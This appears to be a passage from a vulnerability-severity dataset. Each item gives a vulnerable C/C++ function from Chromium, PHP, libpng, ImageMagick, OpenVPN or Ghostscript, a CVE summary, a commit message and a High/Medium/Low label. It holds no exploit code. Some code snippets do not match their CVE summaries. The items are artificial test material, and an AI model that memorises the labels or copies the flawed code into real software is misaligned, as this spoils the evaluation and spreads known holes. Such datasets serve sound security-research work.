Code: void MediaStreamManager::GenerateStream( int render_process_id, int render_frame_id, int page_request_id, const StreamControls& controls, MediaDeviceSaltAndOrigin salt_and_origin, bool user_gesture, GenerateStreamCallback generate_stream_cb, DeviceStoppedCallback device_stopped_cb, DeviceChangedCallback device_changed_cb) { DCHECK_CURRENTLY_ON(BrowserThread::IO); DVLOG(1) << "GenerateStream()"; DeviceRequest* request = new DeviceRequest( render_process_id, render_frame_id, page_request_id, user_gesture, MEDIA_GENERATE_STREAM, controls, std::move(salt_and_origin), std::move(device_stopped_cb)); request->device_changed_cb = std::move(device_changed_cb); const std::string& label = AddRequest(request); request->generate_stream_cb = std::move(generate_stream_cb); if (generate_stream_test_callback_) { if (std::move(generate_stream_test_callback_).Run(controls)) { FinalizeGenerateStream(label, request); } else { FinalizeRequestFailed(label, request, MEDIA_DEVICE_INVALID_STATE); } return; } base::PostTaskWithTraits(FROM_HERE, {BrowserThread::IO}, base::BindOnce(&MediaStreamManager::SetUpRequest, base::Unretained(this), label)); } Vulnerability Type: CWE ID: CWE-189 Summary: Incorrect handling of negative zero in V8 in Google Chrome prior to 72.0.3626.81 allowed a remote attacker to perform arbitrary read/write via a crafted HTML page. Commit Message: Make MediaStreamDispatcherHost per-request instead of per-frame. Instead of having RenderFrameHost own a single MSDH to handle all requests from a frame, MSDH objects will be owned by a strong binding. A consequence of this is that an additional requester ID is added to requests to MediaStreamManager, so that an MSDH is able to cancel only requests generated by it. In practice, MSDH will continue to be per frame in most cases since each frame normally makes a single request for an MSDH object. This fixes a lifetime issue caused by the IO thread executing tasks after the RenderFrameHost dies. Drive-by: Fix some minor lint issues. Bug: 912520 Change-Id: I52742ffc98b9fc57ce8e6f5093a61aed86d3e516 Reviewed-on: https://chromium-review.googlesource.com/c/1369799 Reviewed-by: Emircan Uysaler <[email protected]> Reviewed-by: Ken Buchanan <[email protected]> Reviewed-by: Olga Sharonova <[email protected]> Commit-Queue: Guido Urdaneta <[email protected]> Cr-Commit-Position: refs/heads/master@{#616347}
Medium
173,103
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: bool VaapiVideoDecodeAccelerator::VaapiVP8Accelerator::OutputPicture( const scoped_refptr<VP8Picture>& pic) { scoped_refptr<VaapiDecodeSurface> dec_surface = VP8PictureToVaapiDecodeSurface(pic); dec_surface->set_visible_rect(pic->visible_rect); vaapi_dec_->SurfaceReady(dec_surface); return true; } Vulnerability Type: CWE ID: CWE-362 Summary: A race in the handling of SharedArrayBuffers in WebAssembly in Google Chrome prior to 65.0.3325.146 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. Commit Message: vaapi vda: Delete owned objects on worker thread in Cleanup() This CL adds a SEQUENCE_CHECKER to Vaapi*Accelerator classes, and posts the destruction of those objects to the appropriate thread on Cleanup(). Also makes {H264,VP8,VP9}Picture RefCountedThreadSafe, see miu@ comment in https://chromium-review.googlesource.com/c/chromium/src/+/794091#message-a64bed985cfaf8a19499a517bb110a7ce581dc0f TEST=play back VP9/VP8/H264 w/ simplechrome on soraka, Release build unstripped, let video play for a few seconds then navigate back; no crashes. Unittests as before: video_decode_accelerator_unittest --test_video_data=test-25fps.vp9:320:240:250:250:35:150:12 video_decode_accelerator_unittest --test_video_data=test-25fps.vp8:320:240:250:250:35:150:11 video_decode_accelerator_unittest --test_video_data=test-25fps.h264:320:240:250:258:35:150:1 Bug: 789160 Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel Change-Id: I7d96aaf89c92bf46f00c8b8b36798e057a842ed2 Reviewed-on: https://chromium-review.googlesource.com/794091 Reviewed-by: Pawel Osciak <[email protected]> Commit-Queue: Miguel Casas <[email protected]> Cr-Commit-Position: refs/heads/master@{#523372}
Medium
172,805
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static void php_wddx_serialize_object(wddx_packet *packet, zval *obj) { /* OBJECTS_FIXME */ zval **ent, *fname, **varname; zval *retval = NULL; const char *key; ulong idx; char tmp_buf[WDDX_BUF_LEN]; HashTable *objhash, *sleephash; TSRMLS_FETCH(); MAKE_STD_ZVAL(fname); ZVAL_STRING(fname, "__sleep", 1); /* * We try to call __sleep() method on object. It's supposed to return an * array of property names to be serialized. */ if (call_user_function_ex(CG(function_table), &obj, fname, &retval, 0, 0, 1, NULL TSRMLS_CC) == SUCCESS) { if (retval && (sleephash = HASH_OF(retval))) { PHP_CLASS_ATTRIBUTES; PHP_SET_CLASS_ATTRIBUTES(obj); php_wddx_add_chunk_static(packet, WDDX_STRUCT_S); snprintf(tmp_buf, WDDX_BUF_LEN, WDDX_VAR_S, PHP_CLASS_NAME_VAR); php_wddx_add_chunk(packet, tmp_buf); php_wddx_add_chunk_static(packet, WDDX_STRING_S); php_wddx_add_chunk_ex(packet, class_name, name_len); php_wddx_add_chunk_static(packet, WDDX_STRING_E); php_wddx_add_chunk_static(packet, WDDX_VAR_E); PHP_CLEANUP_CLASS_ATTRIBUTES(); objhash = HASH_OF(obj); for (zend_hash_internal_pointer_reset(sleephash); zend_hash_get_current_data(sleephash, (void **)&varname) == SUCCESS; zend_hash_move_forward(sleephash)) { if (Z_TYPE_PP(varname) != IS_STRING) { php_error_docref(NULL TSRMLS_CC, E_NOTICE, "__sleep should return an array only containing the names of instance-variables to serialize."); continue; } if (zend_hash_find(objhash, Z_STRVAL_PP(varname), Z_STRLEN_PP(varname)+1, (void **)&ent) == SUCCESS) { php_wddx_serialize_var(packet, *ent, Z_STRVAL_PP(varname), Z_STRLEN_PP(varname) TSRMLS_CC); } } php_wddx_add_chunk_static(packet, WDDX_STRUCT_E); } } else { uint key_len; PHP_CLASS_ATTRIBUTES; PHP_SET_CLASS_ATTRIBUTES(obj); php_wddx_add_chunk_static(packet, WDDX_STRUCT_S); snprintf(tmp_buf, WDDX_BUF_LEN, WDDX_VAR_S, PHP_CLASS_NAME_VAR); php_wddx_add_chunk(packet, tmp_buf); php_wddx_add_chunk_static(packet, WDDX_STRING_S); php_wddx_add_chunk_ex(packet, class_name, name_len); php_wddx_add_chunk_static(packet, WDDX_STRING_E); php_wddx_add_chunk_static(packet, WDDX_VAR_E); PHP_CLEANUP_CLASS_ATTRIBUTES(); objhash = HASH_OF(obj); for (zend_hash_internal_pointer_reset(objhash); zend_hash_get_current_data(objhash, (void**)&ent) == SUCCESS; zend_hash_move_forward(objhash)) { if (*ent == obj) { continue; } if (zend_hash_get_current_key_ex(objhash, &key, &key_len, &idx, 0, NULL) == HASH_KEY_IS_STRING) { const char *class_name, *prop_name; zend_unmangle_property_name(key, key_len-1, &class_name, &prop_name); php_wddx_serialize_var(packet, *ent, prop_name, strlen(prop_name)+1 TSRMLS_CC); } else { key_len = slprintf(tmp_buf, sizeof(tmp_buf), "%ld", idx); php_wddx_serialize_var(packet, *ent, tmp_buf, key_len TSRMLS_CC); } } php_wddx_add_chunk_static(packet, WDDX_STRUCT_E); } zval_dtor(fname); FREE_ZVAL(fname); if (retval) { zval_ptr_dtor(&retval); } } Vulnerability Type: DoS CWE ID: CWE-476 Summary: ext/wddx/wddx.c in PHP before 5.6.28 and 7.x before 7.0.13 allows remote attackers to cause a denial of service (NULL pointer dereference) via crafted serialized data in a wddxPacket XML document, as demonstrated by a PDORow string. Commit Message: Fix bug #73331 - do not try to serialize/unserialize objects wddx can not handle Proper soltion would be to call serialize/unserialize and deal with the result, but this requires more work that should be done by wddx maintainer (not me).
Medium
168,670
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static MagickBooleanType TraceBezier(MVGInfo *mvg_info, const size_t number_coordinates) { double alpha, *coefficients, weight; PointInfo end, point, *points; PrimitiveInfo *primitive_info; register PrimitiveInfo *p; register ssize_t i, j; size_t control_points, quantum; /* Allocate coefficients. */ primitive_info=(*mvg_info->primitive_info)+mvg_info->offset; quantum=number_coordinates; for (i=0; i < (ssize_t) number_coordinates; i++) { for (j=i+1; j < (ssize_t) number_coordinates; j++) { alpha=fabs(primitive_info[j].point.x-primitive_info[i].point.x); if (alpha > (double) SSIZE_MAX) { (void) ThrowMagickException(mvg_info->exception,GetMagickModule(), ResourceLimitError,"MemoryAllocationFailed","`%s'",""); return(MagickFalse); } if (alpha > (double) quantum) quantum=(size_t) alpha; alpha=fabs(primitive_info[j].point.y-primitive_info[i].point.y); if (alpha > (double) SSIZE_MAX) { (void) ThrowMagickException(mvg_info->exception,GetMagickModule(), ResourceLimitError,"MemoryAllocationFailed","`%s'",""); return(MagickFalse); } if (alpha > (double) quantum) quantum=(size_t) alpha; } } quantum=MagickMin(quantum/number_coordinates,BezierQuantum); primitive_info=(*mvg_info->primitive_info)+mvg_info->offset; coefficients=(double *) AcquireQuantumMemory(number_coordinates, sizeof(*coefficients)); points=(PointInfo *) AcquireQuantumMemory(quantum,number_coordinates* sizeof(*points)); if ((coefficients == (double *) NULL) || (points == (PointInfo *) NULL)) { if (points != (PointInfo *) NULL) points=(PointInfo *) RelinquishMagickMemory(points); if (coefficients != (double *) NULL) coefficients=(double *) RelinquishMagickMemory(coefficients); (void) ThrowMagickException(mvg_info->exception,GetMagickModule(), ResourceLimitError,"MemoryAllocationFailed","`%s'",""); return(MagickFalse); } control_points=quantum*number_coordinates; if (CheckPrimitiveExtent(mvg_info,control_points+1) == MagickFalse) { points=(PointInfo *) RelinquishMagickMemory(points); coefficients=(double *) RelinquishMagickMemory(coefficients); return(MagickFalse); } /* Compute bezier points. */ end=primitive_info[number_coordinates-1].point; for (i=0; i < (ssize_t) number_coordinates; i++) coefficients[i]=Permutate((ssize_t) number_coordinates-1,i); weight=0.0; for (i=0; i < (ssize_t) control_points; i++) { p=primitive_info; point.x=0.0; point.y=0.0; alpha=pow((double) (1.0-weight),(double) number_coordinates-1.0); for (j=0; j < (ssize_t) number_coordinates; j++) { point.x+=alpha*coefficients[j]*p->point.x; point.y+=alpha*coefficients[j]*p->point.y; alpha*=weight/(1.0-weight); p++; } points[i]=point; weight+=1.0/control_points; } /* Bezier curves are just short segmented polys. */ p=primitive_info; for (i=0; i < (ssize_t) control_points; i++) { if (TracePoint(p,points[i]) == MagickFalse) { points=(PointInfo *) RelinquishMagickMemory(points); coefficients=(double *) RelinquishMagickMemory(coefficients); return(MagickFalse); } p+=p->coordinates; } if (TracePoint(p,end) == MagickFalse) { points=(PointInfo *) RelinquishMagickMemory(points); coefficients=(double *) RelinquishMagickMemory(coefficients); return(MagickFalse); } p+=p->coordinates; primitive_info->coordinates=(size_t) (p-primitive_info); primitive_info->closed_subpath=MagickFalse; for (i=0; i < (ssize_t) primitive_info->coordinates; i++) { p->primitive=primitive_info->primitive; p--; } points=(PointInfo *) RelinquishMagickMemory(points); coefficients=(double *) RelinquishMagickMemory(coefficients); return(MagickTrue); } Vulnerability Type: CWE ID: Summary: In ImageMagick before 7.0.8-62, TraceBezier in MagickCore/draw.c has a use-after-free. Commit Message: ...
Low
169,485
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: png_read_row(png_structp png_ptr, png_bytep row, png_bytep dsp_row) { PNG_CONST PNG_IDAT; PNG_CONST int png_pass_dsp_mask[7] = {0xff, 0x0f, 0xff, 0x33, 0xff, 0x55, 0xff}; PNG_CONST int png_pass_mask[7] = {0x80, 0x08, 0x88, 0x22, 0xaa, 0x55, 0xff}; int ret; if (png_ptr == NULL) return; png_debug2(1, "in png_read_row (row %lu, pass %d)", png_ptr->row_number, png_ptr->pass); if (!(png_ptr->flags & PNG_FLAG_ROW_INIT)) png_read_start_row(png_ptr); if (png_ptr->row_number == 0 && png_ptr->pass == 0) { /* Check for transforms that have been set but were defined out */ #if defined(PNG_WRITE_INVERT_SUPPORTED) && !defined(PNG_READ_INVERT_SUPPORTED) if (png_ptr->transformations & PNG_INVERT_MONO) png_warning(png_ptr, "PNG_READ_INVERT_SUPPORTED is not defined."); #endif #if defined(PNG_WRITE_FILLER_SUPPORTED) && !defined(PNG_READ_FILLER_SUPPORTED) if (png_ptr->transformations & PNG_FILLER) png_warning(png_ptr, "PNG_READ_FILLER_SUPPORTED is not defined."); #endif #if defined(PNG_WRITE_PACKSWAP_SUPPORTED) && \ !defined(PNG_READ_PACKSWAP_SUPPORTED) if (png_ptr->transformations & PNG_PACKSWAP) png_warning(png_ptr, "PNG_READ_PACKSWAP_SUPPORTED is not defined."); #endif #if defined(PNG_WRITE_PACK_SUPPORTED) && !defined(PNG_READ_PACK_SUPPORTED) if (png_ptr->transformations & PNG_PACK) png_warning(png_ptr, "PNG_READ_PACK_SUPPORTED is not defined."); #endif #if defined(PNG_WRITE_SHIFT_SUPPORTED) && !defined(PNG_READ_SHIFT_SUPPORTED) if (png_ptr->transformations & PNG_SHIFT) png_warning(png_ptr, "PNG_READ_SHIFT_SUPPORTED is not defined."); #endif #if defined(PNG_WRITE_BGR_SUPPORTED) && !defined(PNG_READ_BGR_SUPPORTED) if (png_ptr->transformations & PNG_BGR) png_warning(png_ptr, "PNG_READ_BGR_SUPPORTED is not defined."); #endif #if defined(PNG_WRITE_SWAP_SUPPORTED) && !defined(PNG_READ_SWAP_SUPPORTED) if (png_ptr->transformations & PNG_SWAP_BYTES) png_warning(png_ptr, "PNG_READ_SWAP_SUPPORTED is not defined."); #endif } #ifdef PNG_READ_INTERLACING_SUPPORTED /* If interlaced and we do not need a new row, combine row and return */ if (png_ptr->interlaced && (png_ptr->transformations & PNG_INTERLACE)) { switch (png_ptr->pass) { case 0: if (png_ptr->row_number & 0x07) { if (dsp_row != NULL) png_combine_row(png_ptr, dsp_row, png_pass_dsp_mask[png_ptr->pass]); png_read_finish_row(png_ptr); return; } break; case 1: if ((png_ptr->row_number & 0x07) || png_ptr->width < 5) { if (dsp_row != NULL) png_combine_row(png_ptr, dsp_row, png_pass_dsp_mask[png_ptr->pass]); png_read_finish_row(png_ptr); return; } break; case 2: if ((png_ptr->row_number & 0x07) != 4) { if (dsp_row != NULL && (png_ptr->row_number & 4)) png_combine_row(png_ptr, dsp_row, png_pass_dsp_mask[png_ptr->pass]); png_read_finish_row(png_ptr); return; } break; case 3: if ((png_ptr->row_number & 3) || png_ptr->width < 3) { if (dsp_row != NULL) png_combine_row(png_ptr, dsp_row, png_pass_dsp_mask[png_ptr->pass]); png_read_finish_row(png_ptr); return; } break; case 4: if ((png_ptr->row_number & 3) != 2) { if (dsp_row != NULL && (png_ptr->row_number & 2)) png_combine_row(png_ptr, dsp_row, png_pass_dsp_mask[png_ptr->pass]); png_read_finish_row(png_ptr); return; } break; case 5: if ((png_ptr->row_number & 1) || png_ptr->width < 2) { if (dsp_row != NULL) png_combine_row(png_ptr, dsp_row, png_pass_dsp_mask[png_ptr->pass]); png_read_finish_row(png_ptr); return; } break; case 6: if (!(png_ptr->row_number & 1)) { png_read_finish_row(png_ptr); return; } break; } } #endif if (!(png_ptr->mode & PNG_HAVE_IDAT)) png_error(png_ptr, "Invalid attempt to read row data"); png_ptr->zstream.next_out = png_ptr->row_buf; png_ptr->zstream.avail_out = (uInt)(PNG_ROWBYTES(png_ptr->pixel_depth, png_ptr->iwidth) + 1); do { if (!(png_ptr->zstream.avail_in)) { while (!png_ptr->idat_size) { png_crc_finish(png_ptr, 0); png_ptr->idat_size = png_read_chunk_header(png_ptr); if (png_memcmp(png_ptr->chunk_name, png_IDAT, 4)) png_error(png_ptr, "Not enough image data"); } png_ptr->zstream.avail_in = (uInt)png_ptr->zbuf_size; png_ptr->zstream.next_in = png_ptr->zbuf; if (png_ptr->zbuf_size > png_ptr->idat_size) png_ptr->zstream.avail_in = (uInt)png_ptr->idat_size; png_crc_read(png_ptr, png_ptr->zbuf, (png_size_t)png_ptr->zstream.avail_in); png_ptr->idat_size -= png_ptr->zstream.avail_in; } ret = inflate(&png_ptr->zstream, Z_PARTIAL_FLUSH); if (ret == Z_STREAM_END) { if (png_ptr->zstream.avail_out || png_ptr->zstream.avail_in || png_ptr->idat_size) png_error(png_ptr, "Extra compressed data"); png_ptr->mode |= PNG_AFTER_IDAT; png_ptr->flags |= PNG_FLAG_ZLIB_FINISHED; break; } if (ret != Z_OK) png_error(png_ptr, png_ptr->zstream.msg ? png_ptr->zstream.msg : "Decompression error"); } while (png_ptr->zstream.avail_out); png_ptr->row_info.color_type = png_ptr->color_type; png_ptr->row_info.width = png_ptr->iwidth; png_ptr->row_info.channels = png_ptr->channels; png_ptr->row_info.bit_depth = png_ptr->bit_depth; png_ptr->row_info.pixel_depth = png_ptr->pixel_depth; png_ptr->row_info.rowbytes = PNG_ROWBYTES(png_ptr->row_info.pixel_depth, png_ptr->row_info.width); if (png_ptr->row_buf[0]) png_read_filter_row(png_ptr, &(png_ptr->row_info), png_ptr->row_buf + 1, png_ptr->prev_row + 1, (int)(png_ptr->row_buf[0])); png_memcpy_check(png_ptr, png_ptr->prev_row, png_ptr->row_buf, png_ptr->rowbytes + 1); #ifdef PNG_MNG_FEATURES_SUPPORTED if ((png_ptr->mng_features_permitted & PNG_FLAG_MNG_FILTER_64) && (png_ptr->filter_type == PNG_INTRAPIXEL_DIFFERENCING)) { /* Intrapixel differencing */ png_do_read_intrapixel(&(png_ptr->row_info), png_ptr->row_buf + 1); } #endif if (png_ptr->transformations || (png_ptr->flags&PNG_FLAG_STRIP_ALPHA)) png_do_read_transformations(png_ptr); #ifdef PNG_READ_INTERLACING_SUPPORTED /* Blow up interlaced rows to full size */ if (png_ptr->interlaced && (png_ptr->transformations & PNG_INTERLACE)) { if (png_ptr->pass < 6) /* Old interface (pre-1.0.9): * png_do_read_interlace(&(png_ptr->row_info), * png_ptr->row_buf + 1, png_ptr->pass, png_ptr->transformations); */ png_do_read_interlace(png_ptr); if (dsp_row != NULL) png_combine_row(png_ptr, dsp_row, png_pass_dsp_mask[png_ptr->pass]); if (row != NULL) png_combine_row(png_ptr, row, png_pass_mask[png_ptr->pass]); } else #endif { if (row != NULL) png_combine_row(png_ptr, row, 0xff); if (dsp_row != NULL) png_combine_row(png_ptr, dsp_row, 0xff); } png_read_finish_row(png_ptr); if (png_ptr->read_row_fn != NULL) (*(png_ptr->read_row_fn))(png_ptr, png_ptr->row_number, png_ptr->pass); } Vulnerability Type: DoS Overflow CWE ID: CWE-119 Summary: Multiple buffer overflows in the (1) png_set_PLTE and (2) png_get_PLTE functions in libpng before 1.0.64, 1.1.x and 1.2.x before 1.2.54, 1.3.x and 1.4.x before 1.4.17, 1.5.x before 1.5.24, and 1.6.x before 1.6.19 allow remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact via a small bit-depth value in an IHDR (aka image header) chunk in a PNG image. Commit Message: third_party/libpng: update to 1.2.54 [email protected] BUG=560291 Review URL: https://codereview.chromium.org/1467263003 Cr-Commit-Position: refs/heads/master@{#362298}
High
172,170
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: BlockEntry::~BlockEntry() { } Vulnerability Type: DoS Exec Code Overflow Mem. Corr. CWE ID: CWE-119 Summary: libvpx in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49H, and 6.0 before 2016-03-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, related to libwebm/mkvparser.cpp and other files, aka internal bug 23452792. Commit Message: libwebm: Pull from upstream Rolling mkvparser from upstream. Primarily for fixing a bug on parsing failures with certain Opus WebM files. Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae The diff is so huge because there were some style clean ups upstream. But it was ensured that there were no breaking changes when the style clean ups was done upstream. Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039
High
174,456
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: IDAT_list_extend(struct IDAT_list *tail) { /* Use the previous cached value if available. */ struct IDAT_list *next = tail->next; if (next == NULL) { /* Insert a new, malloc'ed, block of IDAT information buffers, this * one twice as large as the previous one: */ unsigned int length = 2 * tail->length; if (length < tail->length) /* arithmetic overflow */ length = tail->length; next = png_voidcast(IDAT_list*, malloc(IDAT_list_size(NULL, length))); CLEAR(*next); /* The caller must handle this: */ if (next == NULL) return NULL; next->next = NULL; next->length = length; tail->next = next; } return next; } Vulnerability Type: +Priv CWE ID: Summary: Unspecified vulnerability in libpng before 1.6.20, as used in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-07-01, allows attackers to gain privileges via a crafted application, as demonstrated by obtaining Signature or SignatureOrSystem access, aka internal bug 23265085. Commit Message: DO NOT MERGE Update libpng to 1.6.20 BUG:23265085 Change-Id: I85199805636d771f3597b691b63bc0bf46084833 (cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82)
High
173,728
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: BlockEntry::Kind Track::EOSBlock::GetKind() const { return kBlockEOS; } Vulnerability Type: DoS Exec Code Overflow Mem. Corr. CWE ID: CWE-119 Summary: libvpx in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49H, and 6.0 before 2016-03-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, related to libwebm/mkvparser.cpp and other files, aka internal bug 23452792. Commit Message: libwebm: Pull from upstream Rolling mkvparser from upstream. Primarily for fixing a bug on parsing failures with certain Opus WebM files. Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae The diff is so huge because there were some style clean ups upstream. But it was ensured that there were no breaking changes when the style clean ups was done upstream. Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039
High
174,331
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void PrintPreviewHandler::HandleGetPreview(const ListValue* args) { DCHECK_EQ(3U, args->GetSize()); scoped_ptr<DictionaryValue> settings(GetSettingsDictionary(args)); if (!settings.get()) return; int request_id = -1; if (!settings->GetInteger(printing::kPreviewRequestID, &request_id)) return; PrintPreviewUI* print_preview_ui = static_cast<PrintPreviewUI*>( web_ui()->GetController()); print_preview_ui->OnPrintPreviewRequest(request_id); settings->SetString(printing::kPreviewUIAddr, print_preview_ui->GetPrintPreviewUIAddress()); ++regenerate_preview_request_count_; TabContents* initiator_tab = GetInitiatorTab(); if (!initiator_tab) { ReportUserActionHistogram(INITIATOR_TAB_CLOSED); print_preview_ui->OnClosePrintPreviewTab(); return; } bool display_header_footer = false; if (!settings->GetBoolean(printing::kSettingHeaderFooterEnabled, &display_header_footer)) { NOTREACHED(); } if (display_header_footer) { settings->SetString(printing::kSettingHeaderFooterTitle, initiator_tab->web_contents()->GetTitle()); std::string url; NavigationEntry* entry = initiator_tab->web_contents()->GetController().GetActiveEntry(); if (entry) url = entry->GetVirtualURL().spec(); settings->SetString(printing::kSettingHeaderFooterURL, url); } bool generate_draft_data = false; bool success = settings->GetBoolean(printing::kSettingGenerateDraftData, &generate_draft_data); DCHECK(success); if (!generate_draft_data) { double draft_page_count_double = -1; success = args->GetDouble(1, &draft_page_count_double); DCHECK(success); int draft_page_count = static_cast<int>(draft_page_count_double); bool preview_modifiable = false; success = args->GetBoolean(2, &preview_modifiable); DCHECK(success); if (draft_page_count != -1 && preview_modifiable && print_preview_ui->GetAvailableDraftPageCount() != draft_page_count) { settings->SetBoolean(printing::kSettingGenerateDraftData, true); } } VLOG(1) << "Print preview request start"; RenderViewHost* rvh = initiator_tab->web_contents()->GetRenderViewHost(); rvh->Send(new PrintMsg_PrintPreview(rvh->GetRoutingID(), *settings)); } Vulnerability Type: +Info CWE ID: CWE-200 Summary: The IPC implementation in Google Chrome before 22.0.1229.79 allows attackers to obtain potentially sensitive information about memory addresses via unspecified vectors. Commit Message: Print preview: Use an ID instead of memory pointer string in WebUI. BUG=144051 Review URL: https://chromiumcodereview.appspot.com/10870003 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@153342 0039d316-1c4b-4281-b951-d872f2087c98
Medium
170,828
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: GetStartupData(HANDLE pipe, STARTUP_DATA *sud) { size_t size, len; BOOL ret = FALSE; WCHAR *data = NULL; DWORD bytes, read; bytes = PeekNamedPipeAsync(pipe, 1, &exit_event); if (bytes == 0) { MsgToEventLog(M_SYSERR, TEXT("PeekNamedPipeAsync failed")); ReturnLastError(pipe, L"PeekNamedPipeAsync"); goto out; } size = bytes / sizeof(*data); if (size == 0) { MsgToEventLog(M_SYSERR, TEXT("malformed startup data: 1 byte received")); ReturnError(pipe, ERROR_STARTUP_DATA, L"GetStartupData", 1, &exit_event); goto out; } data = malloc(bytes); if (data == NULL) { MsgToEventLog(M_SYSERR, TEXT("malloc failed")); ReturnLastError(pipe, L"malloc"); goto out; } read = ReadPipeAsync(pipe, data, bytes, 1, &exit_event); if (bytes != read) { MsgToEventLog(M_SYSERR, TEXT("ReadPipeAsync failed")); ReturnLastError(pipe, L"ReadPipeAsync"); goto out; } if (data[size - 1] != 0) { MsgToEventLog(M_ERR, TEXT("Startup data is not NULL terminated")); ReturnError(pipe, ERROR_STARTUP_DATA, L"GetStartupData", 1, &exit_event); goto out; } sud->directory = data; len = wcslen(sud->directory) + 1; size -= len; if (size <= 0) { MsgToEventLog(M_ERR, TEXT("Startup data ends at working directory")); ReturnError(pipe, ERROR_STARTUP_DATA, L"GetStartupData", 1, &exit_event); goto out; } sud->options = sud->directory + len; len = wcslen(sud->options) + 1; size -= len; if (size <= 0) { MsgToEventLog(M_ERR, TEXT("Startup data ends at command line options")); ReturnError(pipe, ERROR_STARTUP_DATA, L"GetStartupData", 1, &exit_event); goto out; } sud->std_input = sud->options + len; data = NULL; /* don't free data */ ret = TRUE; out: free(data); return ret; } Vulnerability Type: Mem. Corr. CWE ID: CWE-415 Summary: openvpnserv.exe (aka the interactive service helper) in OpenVPN 2.4.x before 2.4.6 allows a local attacker to cause a double-free of memory by sending a malformed request to the interactive service. This could cause a denial-of-service through memory corruption or possibly have unspecified other impact including privilege escalation. Commit Message: Fix potential double-free() in Interactive Service (CVE-2018-9336) Malformed input data on the service pipe towards the OpenVPN interactive service (normally used by the OpenVPN GUI to request openvpn instances from the service) can result in a double free() in the error handling code. This usually only leads to a process crash (DoS by an unprivileged local account) but since it could possibly lead to memory corruption if happening while multiple other threads are active at the same time, CVE-2018-9336 has been assigned to acknowledge this risk. Fix by ensuring that sud->directory is set to NULL in GetStartUpData() for all error cases (thus not being free()ed in FreeStartupData()). Rewrite control flow to use explicit error label for error exit. Discovered and reported by Jacob Baines <[email protected]>. CVE: 2018-9336 Signed-off-by: Gert Doering <[email protected]> Acked-by: Selva Nair <[email protected]> Message-Id: <[email protected]> URL: https://www.mail-archive.com/search?l=mid&[email protected] Signed-off-by: Gert Doering <[email protected]>
Medium
169,267
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: z2grestore(i_ctx_t *i_ctx_p) { if (!restore_page_device(igs, gs_gstate_saved(igs))) return gs_grestore(igs); return push_callout(i_ctx_p, "%grestorepagedevice"); } Vulnerability Type: Exec Code CWE ID: Summary: An issue was discovered in Artifex Ghostscript before 9.25. Incorrect "restoration of privilege" checking when running out of stack during exception handling could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction. This is due to an incomplete fix for CVE-2018-16509. Commit Message:
Medium
164,691
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
